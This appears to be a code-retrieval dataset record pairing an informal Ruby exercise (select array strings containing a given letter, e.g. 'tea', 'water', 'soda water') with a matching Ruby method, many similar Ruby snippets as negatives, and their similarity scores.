"def move(*froms, to)\n froms.each do |from|\n FileUtils.mv(from, to)\n end\n end",
"def lmove(source, destination, where_source, where_destination); end",
"def lmove(source, destination, where_source, where_destination); end",
"def robot_move\n state_execute do |robot|\n robot.move\n end\n end",
"def move_files\n source_dir = Item.new(Path.new(params[:source]))\n dest_dir = Item.new(Path.new(params[:dest]))\n type = params[:type]\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_files_to(dest_dir, type)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def state_move(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::StateMove,\n parameters, invocation_options)\n end",
"def moves(*move_dirs)\n possible_moves = []\n\n end",
"def move\n cart = get_cart\n cart.toggle_saved_for_later(params[:id])\n rescue Exception => e\n flash[:message] = 'Error: Could not move item between cart and saved items'\n ExceptionNotifier::Notifier.exception_notification(request.env, e).deliver\n ensure\n redirect_to(:action => '')\n end",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def move_file\n\n destFolder = params[:dest]\n targetFile = params[:file_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move File - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_file(targetFile, destFolder)\n flash[:notice] = \"File moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: File could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def move(fromaccount, toaccount, amount, minconf = 1, comment = nil)\n @api.request 'move', fromaccount, toaccount, amount, minconf, comment\n end",
"def save(folder, continue = false)\n log(2, \"Action: save to #{folder.inspect}\")\n retval = if folder =~ %r{(.*[^/])/$}\n deliver_maildir($1, @message)\n else\n deliver_mbox(folder, @message)\n end\n raise DeliverySuccess, \"saved to mbox #{folder.inspect}\" unless continue\n retval\n end",
"def move( rdn )\n\t\tself.log.debug \"Asking the directory to move me to an entry called %p\" % [ rdn ]\n\t\tself.directory.move( self, rdn )\n\t\tself.clear_caches\n\n\t\treturn self\n\tend",
"def move(*args)\n begin\n move_no_cleanup(*args)\n rescue Orp::MovementAlreadyComplete\n warn \"Attempted to complete already completed movement\"\n nil\n rescue\n delete\n raise\n end\n end",
"def move_files_to(from_folder)\n\n Dir.glob(\"#{from_folder}/*\") do |filename|\n to_path = \"#{timestamped(filename)}\"\n delete_file_if_there(to_path)\n move_file(filename, to_path)\n end\n end",
"def move_to(path)\n raise CommandError, 'Destination exists' if File.exist?(expand path)\n FileUtils.mkdir_p(File.dirname(expand path))\n FileUtils.mv(@working_dir, expand(path))\n end",
"def move(*args)\n result = copy(*args)\n delete if [Created, NoContent].include?(result)\n result\n end",
"def move(dest_path, overwrite=false)\n NotImplemented\n end",
"def move(key, db)\n send_command([:move, key, db], &Boolify)\n end",
"def move(command)\n src = clean_up(command[1])\n dest = clean_up(command[2])\n pp @client.files.move(src, dest)\n end",
"def mv(from_path, to_path, replace=false)\n move(from_path, to_path, nil, true, replace)\n end",
"def move(src, dst)\n not_implemented('move')\n end",
"def parse_move\n s0 = @scanner.pos\n s1 = parse_line\n if s1 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = []\n s3 = parse_comment\n while s3 != :failed\n s2 << s3\n s3 = parse_comment\n end\n parse_pointer\n @reported_pos = s0\n s0 = transform_move(s1, s2)\n end\n s0\n end",
"def ajax_move_mails\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n folder_id = params[:tree_node_id]\n SqlHelper.validate_token([folder_id])\n begin\n mail_folder = MailFolder.find(folder_id)\n rescue => evar\n end\n\n if folder_id == TreeElement::ROOT_ID.to_s \\\n or mail_folder.nil? \\\n or mail_folder.user_id != @login_user.id\n flash[:notice] = 'ERROR:' + t('msg.cannot_save_in_folder')\n get_mails\n return\n end\n\n unless params[:check_mail].blank?\n count = 0\n params[:check_mail].each do |email_id, value|\n if value == '1'\n\n begin\n email = Email.find(email_id)\n next if email.user_id != @login_user.id\n\n email.update_attribute(:mail_folder_id, folder_id)\n\n rescue => evar\n Log.add_error(request, evar)\n end\n\n count += 1\n end\n end\n flash[:notice] = t('mail.moved', :count => count)\n end\n\n get_mails\n end",
"def move_from(from_path)\n res = false\n current_user_role_names.each do |role_name|\n # Cycle until we find a role that makes this directory writeable\n next unless Filesystem.test_dir role_name, container, :write\n\n # If a path is set, ensure we can make a directory for it if one doesn't exist\n unless path.blank? || Filesystem.test_dir(role_name, container, :mkdir,\n extra_path: container_path(no_filename: true), ok_if_exists: true)\n next\n end\n\n cleanpath = Filesystem.clean_path(path)\n if cleanpath\n is_trash_path = self.class.trash_path?(cleanpath)\n\n if !is_trash_path && (cleanpath.start_with?('.') || cleanpath.start_with?('/'))\n raise FsException::Action, \"Path to move to is bad: #{cleanpath}\"\n end\n end\n\n to_path = if is_trash_path\n cleanpath\n else\n container_path(no_filename: true)\n end\n\n res = Filesystem.move_file_to_final_location role_name, from_path, container, to_path, file_name\n break if res\n end\n\n unless res\n raise FsException::NoAccess, 'User does not have permission to store file with any of the current groups'\n end\n\n true\n end",
"def move_file(path:, move_destination:)\n BrickFTP::API::FileOperation::Move.create(path: path, 'move-destination': move_destination)\n end",
"def move_dirs\n [[-1,2], [1,2], [2,1], [2,-1], [1,-2], [-1,-2], [-2,-1], [-2,1]]\n end",
"def parse_move\n s0 = @scanner.pos\n s1 = parse_line\n if s1 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = []\n s3 = parse_comment\n while s3 != :failed\n s2 << s3\n s3 = parse_comment\n end\n parse_pointer\n s4 = []\n s5 = parse_nl\n s5 = match_space if s5 == :failed\n while s5 != :failed\n s4 << s5\n s5 = parse_nl\n s5 = match_space if s5 == :failed\n end\n @reported_pos = s0\n s0 = -> (line, c) do\n ret = { 'move' => line }\n ret['comments'] = c unless c.empty?\n ret\n end.call(s1, s2)\n end\n\n s0\n end",
"def move_file(path:, move_destination:)\n BrickFTP::API::FileOperation::Move.create(path: path, :'move-destination' => move_destination)\n end",
"def move_dirs\n [[0,1], [1,0], [0,-1], [-1,0]]\n end",
"def smove(source, destination, member); end",
"def smove(source, destination, member); end",
"def move(from, to:)\n log \"moving from #{from} to #{to}...\"\n @ftp.rename(from, to)\n end",
"def set_move\n @move = Move.find(params[:id])\n end",
"def set_move\n @move = Move.find(params[:id])\n end"
] |
[
"0.69756305",
"0.69457257",
"0.6902316",
"0.674207",
"0.67033726",
"0.668712",
"0.6659796",
"0.6640023",
"0.660863",
"0.6579934",
"0.65643215",
"0.654911",
"0.64717376",
"0.6439497",
"0.6395395",
"0.6313434",
"0.62796766",
"0.6197552",
"0.6120866",
"0.61008525",
"0.60747707",
"0.601624",
"0.5995192",
"0.5978555",
"0.59531116",
"0.5867605",
"0.57922256",
"0.57670593",
"0.5755357",
"0.5744516",
"0.57055455",
"0.56705916",
"0.56411105",
"0.5586853",
"0.5580103",
"0.5580103",
"0.55523515",
"0.55092317",
"0.5503088",
"0.5486411",
"0.5470146",
"0.54217505",
"0.53996336",
"0.53897405",
"0.5378516",
"0.5354968",
"0.53532606",
"0.53445673",
"0.53424525",
"0.53407776",
"0.53323084",
"0.53323084",
"0.53284025",
"0.5305941",
"0.53013504",
"0.52893263",
"0.5278895",
"0.52768576",
"0.52691346",
"0.5265036",
"0.52554655",
"0.52554655",
"0.52528644",
"0.524948",
"0.5248976",
"0.524465",
"0.5230132",
"0.5230132",
"0.5222914",
"0.5220689",
"0.5209244",
"0.520471",
"0.51948524",
"0.5184739",
"0.51671296",
"0.516483",
"0.5158538",
"0.51570904",
"0.51538503",
"0.5151427",
"0.51468456",
"0.51403224",
"0.5139865",
"0.51383907",
"0.5137234",
"0.5136484",
"0.5131493",
"0.5123186",
"0.5120153",
"0.5117536",
"0.5107572",
"0.510266",
"0.5100488",
"0.5098314",
"0.5097319",
"0.50899065",
"0.50899065",
"0.5089742",
"0.5089501",
"0.5089501"
] |
0.73864174
|
0
|
=== check_owner Filter method to check if the current User is owner of the specified Workflow.
|
def check_owner
return if params[:id].blank? or @login_user.nil?
begin
owner_id = Workflow.find(params[:id]).user_id
rescue
owner_id = -1
end
if !@login_user.admin?(User::AUTH_WORKFLOW) and owner_id != @login_user.id
Log.add_check(request, '[check_owner]'+request.to_s)
flash[:notice] = t('msg.need_to_be_owner')
redirect_to(:controller => 'desktop', :action => 'show')
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def owner? (user)\n user == owner\n end",
"def is_owner?(this_user)\n user == this_user\n end",
"def is_owner?(user)\n !user.nil? && (self.user_id == user.id)\n end",
"def is_owner?(user)\n user.id == self.user_id\n end",
"def is_owner\n object == current_user\n end",
"def check_owner\n if current_user != Checklist.find(params[:format]).user\n flash[:notice] = \"Trying to be cheeky are we? You cannot modify a task that's not yours!\"\n redirect_to '/'\n end\n end",
"def owner?(current_user)\n user == current_user\n end",
"def is_owner?(item)\n current_user_id == item.user_id\n end",
"def is_owner? (opportunity)\n \topportunity.user_id == self.id\n end",
"def owned_by?(user)\n return false unless user.is_a? User\n \n # allow admins and project owners to edit\n user.admin? or self.owner == user\n end",
"def owned_by?(user)\n return false unless user.is_a? User\n \n # allow admins and project owners to edit\n user.admin? or self.owner == user\n end",
"def owned?(user_to_check = current_user)\n user_to_check ? self.creator == user_to_check : false\n end",
"def owner?(user)\n user == owner || owners.include?(user)\n end",
"def owner? usr\n user_id == usr.id\n end",
"def has_owner(user)\n return self.user.id==user.id\n end",
"def check_toy_owner\n return if params[:id].nil? or params[:id].empty? or @login_user.nil?\n\n begin\n owner_id = Toy.find(params[:id]).user_id\n rescue\n owner_id = -1\n end\n if !@login_user.admin?(User::AUTH_DESKTOP) and owner_id != @login_user.id\n Log.add_check(request, '[check_toy_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end",
"def check_owner_user\n @guild = Guild.find(@invite[:guild_id])\n if self.admin?\n return 1\n end\n return (@guild[:owner_id] == session[:user_id]) ? 1 : nil\n end",
"def has_owner? user\n self.account_users.where(user: user, is_owner: true).count > 0\n end",
"def object_owner?\n User.find(params[:user_id]) == current_user\n end",
"def is_owner_of?(thing)\n return false unless thing.user == self\n true\n end",
"def owner?(photo)\n !photo.nil? && photo.owner == current_user\n end",
"def check_owner\n\n return if params[:id].blank? \\\n or (params[:id] == TreeElement::ROOT_ID.to_s) \\\n or @login_user.nil?\n\n begin\n owner_id = MailFolder.find(params[:id]).user_id\n rescue\n owner_id = -1\n end\n if !@login_user.admin?(User::AUTH_MAIL) and owner_id != @login_user.id\n Log.add_check(request, '[check_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end",
"def user_owner_entry?\n user_entry? && principle == \"OWNER\"\n end",
"def owner?(user)\n\t\tuser.id == self.user.id\n\tend",
"def owner?(user_asking)\n user_asking.in? company.owners\n end",
"def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n end",
"def owner?\n resource.user_id == current_user.id\n end",
"def check_owner\n return if params[:id].blank? or @login_user.nil?\n\n begin\n owner_id = Location.find(params[:id]).user_id\n rescue\n owner_id = -1\n end\n if !@login_user.admin?(User::AUTH_LOCATION) and owner_id != @login_user.id\n Log.add_check(request, '[check_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end",
"def is_owner?(person)\n return person !=nil && person.team_id == self.id && person.role == \"captain\"\n end",
"def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n\n end",
"def check_owner\n\n return if params[:id].nil? or params[:id].empty? or @login_user.nil?\n\n mail_account = MailAccount.find(params[:id])\n\n if !@login_user.admin?(User::AUTH_MAIL) and mail_account.user_id != @login_user.id\n Log.add_check(request, '[check_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end",
"def user_is_track_owner?(track)\n return false if current_user.nil?\n return true if current_user.has_role?('admin')\n current_user.is_track_owner?(track)\n end",
"def owner?(resource:)\n current_user.present? && resource&.user_id == current_user.id\n end",
"def owned_by?(user)\n if (access_restricted?)\n return self.acl.owner?(user)\n end\n return false\n end",
"def check_owner\n\n return if params[:id].blank? or @login_user.nil?\n\n mail_account = MailAccount.find(params[:id])\n\n if !@login_user.admin?(User::AUTH_MAIL) and mail_account.user_id != @login_user.id\n Log.add_check(request, '[check_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end",
"def owner?(id)\n if current_user.id == id\n return true\n else\n return false\n end\n end",
"def is_owner\n if user_signed_in?\n if current_user.id == Cause.find(params[:id]).user_id\n return true\n else\n redirect_to causes_path\n end\n else\n redirect_to new_user_session_path\n end\n end",
"def is_owner?(username)\n User.get_user(username).eql?(self.owner)\n end",
"def check_work_user\n owner = Work.friendly.find(params[:id]).user\n unless owner == current_user || current_user.is_admin?\n store_location\n flash[:error] = 'You are not authorized to perform this action.'\n redirect_to login_path\n end\n end",
"def owner?(project)\n if id == project.user.id\n true\n else\n false\n end\n end",
"def owned_by?(u)\n self.user == u\n end",
"def owned?\n user.present?\n end",
"def owner?\n record.id == user.id\n end",
"def is_owner?\n Account.current ? Account.current.has_owner?(self) : false\n end",
"def is_owner?(xaccount:)\n # DRAFT and creator means owner\n return true if publication.is_draft? && publication.current_version.is_creator?(xaccount: xaccount)\n\n # Author means owner\n return true if publication.current_version.is_author?(xaccount: xaccount)\n\n # All others are not owners\n false\n end",
"def user_is_owner?\n current_cookbook.is_owner?(current_user)\n end",
"def user_is_owner_or_admin?\n record.user == user || user.try(:admin?)\n end",
"def is_owned_by_user?(user)\n self.user == user\n end",
"def owner\n if object.owner && (current_user.lead? || object.owner.id == current_user.id)\n object.owner.id\n else\n nil\n end\n end",
"def owner?(current_user)\n current_user && (self.user == current_user || current_user.has_role?(:refinery))\n end",
"def owner?\n name == 'owner'\n end",
"def is_owner?(object, no_admin = false)\n if current_user && current_user.id === object.user.id && (object.user.is_admin? || !no_admin)\n return true\n elsif is_admin? && !no_admin\n return true\n else\n return false\n end\n rescue\n return false\n end",
"def object_owner_for_resource?(object)\n object.user == current_user\n end",
"def user_is_owner_or_admin?\n record.reading.user == user || user.try(:admin?)\n end",
"def check_mail_owner\n return if params[:id].blank? or @login_user.nil?\n\n begin\n owner_id = Email.find(params[:id]).user_id\n rescue\n owner_id = -1\n end\n if !@login_user.admin?(User::AUTH_MAIL) and owner_id != @login_user.id\n Log.add_check(request, '[check_mail_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end",
"def appctrl_ensure_is_owner\n model = controller_name.camelize.singularize.constantize # :-)\n @item = model.find( params[ :id ] )\n\n if ( @item.user_id != current_user.id )\n render_optional_error_file( 401 ) unless current_user.is_admin?\n end\n end",
"def routine_owner\n record.user == user\n end",
"def editable_by?(user)\n \tuser && user == owner\n\tend",
"def owner_user_in_db?\n Woodlock::User.find_by(github_username: @project.github_owner) ? true : false\n end",
"def owner?(post_owner) # <= User object\n current_user == post_owner\n end",
"def owned_by? a_user\n a_user == user\n end",
"def is_resource_owner?(resource)\n current_user && current_user.id == resource.user_id\n end",
"def owner?(owner_id)\n return true if current_user && current_user.id.to_i == owner_id.to_i\n\n flash[:info] = 'You are not authorised to view that page.'\n redirect '/app'\n false\n end",
"def owner?\n return if current_user == @event.creator\n\n redirect_back(fallback_location: root_path, alert: 'Unauthorized request!')\n end",
"def article_owner?(obj)\n\t\t\tcurrent_user.id == obj.user_id\n\t\tend",
"def owner?(c_utor)\n contribution.owner?(c_utor)\n end",
"def allow(owner)\n u = User.find(session[:user_id])\n if u.role == :admin\n return true\n else\n if u.id == owner.id\n return true\n else\n return false\n end\n end\n end",
"def check_owner(params)\n params.delete(:owner_id) if params[:owner_id] && params[:owner_id].empty?\n params\n end",
"def editable_by?(user)\n\t \t# user && user == owner\n\t user == user\n \tend",
"def verify_owner\n if @dog && @dog.owner && @dog.owner != current_user\n redirect_to root_path\n end\n end",
"def owner_of(group)\n current_user.is_owner?(group)\n end",
"def has_owner_id(owner_id)\n content.owner_id == owner_id\n end",
"def owner_of(resource)\n id == resource.user_id ? true : false\n end",
"def check_is_guild_owner\n @guild = Guild.find(User.find(session[:user_id])[:guild_id])\n return (@guild[:owner_id] == session[:user_id]) ? 1 : nil\n end",
"def owner? obj, relation=nil\n if relation \n return true if user_relation?(obj, relation)\n end \n [:user, :owner, :author].each do |relation| \n return true if user_relation?(obj, relation)\n end\n false\n end",
"def owner?(key = :user_id)\n # Lookup the original user_id\n owner_id = was(key) || send(:\"_#{key}\")\n !owner_id.nil? && owner_id == Volt.current_user_id\n end",
"def is_managed_by?(user)\n user&.person&.is_project_administrator_of_any_project? || user&.person&.is_programme_administrator_of_any_programme?\n end",
"def is_owner\n cause_num = Support.find(params[:id]).cause_id\n cause = Cause.find(cause_num)\n if user_signed_in?\n if current_user.id == Support.find(params[:id]).user_id\n return true\n else\n # return them to the page they were at\n redirect_to cause\n end\n else\n # if the user not logged, redirect them to sign up\n redirect_to new_user_session_path\n end\n end",
"def owned_by?(current_user)\n current_user && user_id == current_user.id\n end",
"def managed_by? a_user\n owned_by? a_user || program.moderator == a_user\n end",
"def verify_not_owner\n unless current_user && @dog && @dog.owner != current_user\n redirect_to root_path\n end\n end",
"def owner\n @owner ||= User.find(owner_user_id)\n end",
"def owned_by?(actor)\n # defaults to false. Override if resource has owner\n false\n end",
"def owner\n permission = self.permissions(level: 'owner')[0]\n if permission\n permission.user\n else\n nil\n end\n end",
"def is_owner?(account)\n attachable == account.profile\n end",
"def is_owner?(pid, oid)\n oid.owner == get_object(pid).owner\n end",
"def require_account_owner\n get_current_account_and_membership\n return user_not_authorized unless @current_account\n\n if @current_membership && !@current_membership.owner?\n redirect_to account_path(@current_account)\n end\n end",
"def validate_owner_private(user)\n pmr_owner = pmr.owner\n # A blank owner is a bad dog.\n if pmr_owner.signon.blank?\n return [ \"wag-wag\", \"Owner should not be blank\", true ]\n end\n return [ \"normal\", \"PMR Owner assumed valid\", true]\n end",
"def user_is_store_owner?\n (user_signed_in? && current_user.is_store_owner?)\n end",
"def owned?\n !owner.nil?\n end",
"def validate_owner!\n authenticate_owner!\n # redirect_to '/' unless current_owner.id.to_s == params[:id]\n if current_owner.id.to_s != params[:id] || params[:id] == nil\n redirect_to '/'\n end\n end",
"def is_admin_or_owner client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id ) \n info['user']['is_admin'] || info['user']['is_owner']\n end",
"def owned_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :creator)\n end",
"def check_activity_ownership()\n\t\t@activity = Activity.find(params[:activity_id])\n\t\tif user_owns_activity(@activity)\n\t\t\treturn true\n\t\telse\n\t\t\tflash[:notice] = NOT_OWNER_ERROR\n\t\t\tredirect_to(:controller=>'costs', :action=>'list', :activity_id => params[:activity_id])\n\t\t\treturn false\n\t\tend\n\tend",
"def owners_remaining?(team_user)\n return true unless team_user.only_owner?\n return true unless params[:role].nil? || params[:role] != \"owner\"\n\n @message = \"Cannot remove the only owner of the team\"\n false\n end",
"def is_owned_by?(user_id)\n self.user_id == user_id\n end",
"def item_owner?\n unless user_signed_in? && !current_user.items.find_by(id: params[:id]).nil?\n flash.alert = \"You are not authorized to access that!\"\n redirect_to root_path\n end\n end",
"def canEdit?(user=current_user,owner=nil)\n return false if user.nil?\n return true if user.name == owner.name\n return true if self.isAdmin?(user)\n false\n end",
"def cookbook_owner?\n if current_cookbook && current_user.id != current_cookbook.owner.id\n redirect_to sections_path, alert: \"As a Contributor you may only access the \\\"Recipes\\\" and \\\"Preview\\\" pages for the cookbook.\"\n end\n end",
"def check_owner\n if @comment.user != current_user\n respond_to do |format|\n format.html { redirect_to post_comments_path, alert: \"You dont have permissions for this action!\"}\n end\n end\n end"
] |
[
"0.706881",
"0.70162773",
"0.6976861",
"0.69431376",
"0.6885486",
"0.68266034",
"0.6812583",
"0.67592037",
"0.67589796",
"0.6750887",
"0.6750887",
"0.6728272",
"0.67271197",
"0.67206115",
"0.6711435",
"0.6706952",
"0.66907084",
"0.6682494",
"0.66795677",
"0.66601604",
"0.6644687",
"0.664394",
"0.6628073",
"0.66056013",
"0.6604299",
"0.65966356",
"0.6591483",
"0.6552176",
"0.6543643",
"0.652729",
"0.6512482",
"0.6491164",
"0.64826906",
"0.6479707",
"0.64614594",
"0.6398062",
"0.6394375",
"0.63777363",
"0.6371379",
"0.6366332",
"0.6364384",
"0.6360534",
"0.6350408",
"0.6345315",
"0.6335873",
"0.63294876",
"0.6298726",
"0.6271339",
"0.62617886",
"0.6252444",
"0.62475145",
"0.6240739",
"0.62377036",
"0.62211496",
"0.62210894",
"0.62170947",
"0.62169284",
"0.61975074",
"0.61894524",
"0.61881316",
"0.6188035",
"0.6187879",
"0.61823624",
"0.6172688",
"0.61654395",
"0.61402917",
"0.61401904",
"0.6126917",
"0.6115121",
"0.6113006",
"0.61095554",
"0.607654",
"0.6075314",
"0.6067711",
"0.6061435",
"0.60545707",
"0.604689",
"0.60372144",
"0.6035837",
"0.60348547",
"0.6030138",
"0.6029947",
"0.602572",
"0.59943104",
"0.59884363",
"0.5982405",
"0.5975962",
"0.59740186",
"0.59735906",
"0.5973159",
"0.5957141",
"0.59526664",
"0.59458524",
"0.59398896",
"0.5937176",
"0.5927587",
"0.59269965",
"0.59187835",
"0.59186155",
"0.5915621"
] |
0.8005436
|
0
|
Expected output: ['tea', 'water', 'soda water'] psuedo create my method going with are_you_in_here use select method to pull out items in array see how to use value to use includes method perhaps p my result with test arrays first snag .includes only returns true or false not sure how to get that to retrurn the array instead searching for a new way found each char method lets take a gander syke! made my first way work sweet thanks for the help Sarah!
|
def are_you_in_here letter, arr
arr.select { |arr| arr.include?(letter) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def containLetter(array, letter)\n # Iterate through the array of words\n # Use select to check if that letter is in the word\n selected_array = array.select { |value| value.include?(letter) }\n # Implicity return an array of words that contain that letter with the statement above\nend",
"def spec_letter(array, char)\n # select through the array\n array.select do |str|\n # using include to find the substrings\n # if str has specific letter\n str.include? char\n end\nend",
"def beverages(array, letter)\n array.select{|value| value.include?(letter)}\nend",
"def finder array, letter_to_find\n array.select do |word| \n word.include? letter_to_find\n end\nend",
"def letter_checker(array, letter_variable)\n# loop over array and return only words that include a given letter variable\n# Return filtered array \n array.select { |word| word.include? letter_variable}\nend",
"def my_array_finding_method(source, thing_to_find)\n result = [] # result is the output array\n source.each do |word|\n word_array = word.to_s.split(//) # This creates an array of charaters of 'word'\n if word_array.include?(thing_to_find)\n result.push(word)\n end\n end\n return result\nend",
"def my_array_finding_method(i_want_pets, thing_to_find)\n new_array = []\n i_want_pets.each do |word|\n range = word.to_s.downcase[0..-1]\n if range.include?(thing_to_find)\n new_array << word\n end\n end\n return new_array\nend",
"def contains (array, string)\n# use select method to filter over array\n array.select do |value|\n# use include? to see if the array includes string\n value.include? string\n end\nend",
"def contain_a(arr)\n arr.select do |word| \n word.include?(\"a\")\n end\nend",
"def my_array_finding_method(source, thing_to_find)\n result = source.select{ |word| word.to_s.include? (thing_to_find) }\n result\nend",
"def find_a(array)\n a_words = array.select do |word|\n word[0] === \"a\" || word[0] === \"A\"\n end\n \n a_words\nend",
"def letter_checker(array, string)\n array.select do |value|\n value.include? string\n end\nend",
"def contain_a(array2)\n # return all elements that contain the letter 'a'\n array2.select{|word| word.include?(\"a\")}\nend",
"def one_letter array,letter\n array.select do |value|\n value.include?(letter)\n end\nend",
"def incl_letter(array, letter)\n fin_array = []\n array.each do |value|\n if value.include? (letter)\n fin_array.push(value)\n end\n end\n p fin_array\nend",
"def doggy(array, search_letter)\n\tsearch_letter_array= array.each_index.select{|i| array[i] == search_letter}\n\treturn search_letter_array \nend",
"def contain_a(array)\n new_array = [ ]\n array.each do |word|\n if word.include?(\"a\") == true\n then new_array << word\n end\n end\n new_array\nend",
"def contain_a(array)\n array.select { |word| word.include?(\"a\") }\nend",
"def contain_a(array)\n array.select do |string|\n string.include?('a')\n end\nend",
"def word_finder (arr, str)\n arr.select do |value|\n value.include? str\n end\nend",
"def my_array_finding_method(source, thing_to_find)\n p final_array = source.select {|test| test.to_s.include?(thing_to_find.to_s)}\nend",
"def my_array_finding_method(source, thing_to_find)\n p final_array = source.select {|test| test.to_s.include?(thing_to_find.to_s)}\nend",
"def my_array_finding_method(source, thing_to_find)\n match_words = []\n source.each do |word| \n for i in 0...word.to_s.length\n if thing_to_find === word[i]\n match_words.push(word)\n break\n end\n end\n end\n return match_words\nend",
"def first_wa(array)\n strings = array.join(\",\")\n # puts \"strings are #{strings}\"\n strings_in_array = strings.split(\",\")\n # puts \"strings in array #{strings_in_array}\"\n strings_in_array.find do |w| \n what_do_you_return = w.start_with?(\"wa\")\n # puts \"what do you return #{what_do_you_return}\"\n end\nend",
"def find_a(arry)\n\n arry.select do |word|\n \"#{word}\".start_with?(\"a\")\n\n end\n # newlist\n end",
"def my_array_finding_method(array, letter)\n array.select {|word| word.to_s.include? letter}\nend",
"def my_array_finding_method(i_want_pets, thing_to_find)\n p i_want_pets.select { |value| value.to_s.include? thing_to_find }\nend",
"def my_array_finding_method(source, thing_to_find)\n source.select { |word| word.to_s.include? thing_to_find}\nend",
"def find_a (array)\n new_array=[]\n array.select{|word| \n word.start_with?(\"a\") \n }\nend",
"def find_a(array)\n if words_has_a = array.select {|words| words.start_with? (\"a\")}\n words_has_a\n end\nend",
"def my_array_finding_method(source, thing_to_find)\n source.select { |word| word.to_s.include? thing_to_find }\nend",
"def match(array)\n array.select {|word| word.chars.sort.join == self.word.chars.sort.join}\n \n\nend",
"def words_with_letter (array,letter)\n array.select{|word| word.include? letter}\nend",
"def my_array_finding_method(source, thing_to_find)\n make_string = source.map { |e| e.to_s }\n make_string.select { |e| e.include?(thing_to_find) }\nend",
"def in_array(a1, a2)\n a1.find_all { |word| a2.select! { |word2| word2.include?(word) } }\nend",
"def contain_a(array)\n has_a = []\n\n array.each do |word|\n has_a << word if word.include?('a')\n end\n has_a\nend",
"def newBev (array, letter)\n array.select { |value| value.include?(letter)}\nend",
"def letter_select array, letter\n # iterates\n array.each do |value|\n # checks for letter at each index\n if value.include?(letter)\n # if letter is included in value at index, puts value\n puts value\n end\n end\n end",
"def word_with_letter arr, letter\n arr.select { |x| x.include? (letter)}\nend",
"def fruits_that_start_with(letter, arr)\n arr.select do |fruit|\n fruit.start_with?(letter)\n end\nend",
"def contain_a(array)\n array.select do |element|\n element.include?('a')\n end\nend",
"def check_for (array, thing_to_find )\n array.select { |word| word.include? thing_to_find }\n end",
"def find_a(array)\n array.select do |strings|\n strings.start_with?(\"a\")\n end\nend",
"def first_wa(array)\n new_array = [ ]\n other_new_array = [ ]\n \n array.each do |word|\n new_array << word.to_s\n end\n new_array.each do |word|\n if word.include?(\"wa\") == true\n then other_new_array << word\n end\n end\n other_new_array.first\nend",
"def my_array_finding_method(source, thing_to_find)\n # final_array = []\n # source.each do |word|\n # if word.class == thing_to_find.class && word.include?(thing_to_find) == true\n # final_array << word\n # end\n # end\n # return final_array\n ###### refactor\n return source.grep(/#{ thing_to_find }/)\nend",
"def apple_picker array\n apples = []\n array.each do\n |fruit| if fruit == \"apple\" \n apples << fruit\n end\n end\n apples\nend",
"def find_a(array)\n\tarray.select do |a_strings|\n\t\ta_strings.start_with?(\"a\")\n\tend\nend",
"def contain_a(strings)\n strings.select do |string|\n string.include?(\"a\")\n end\nend",
"def contain_a (array)\n\tarray.select {|element| element.include?(\"a\")}\nend",
"def find_the_cheese(array)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n if array.include?(\"cheddar\")\n return \"cheddar\"\n elsif array.include?(\"gouda\")\n return \"gouda\"\n elsif array.include?(\"camambert\")\n end\nend",
"def my_array_finding_method(first_array, letter)\n new_array = []\n n = 0\n until n == first_array.length\n if first_array[n].to_s.include?(letter)\n new_array << first_array[n]\n end\n n += 1\n end\n return new_array\nend",
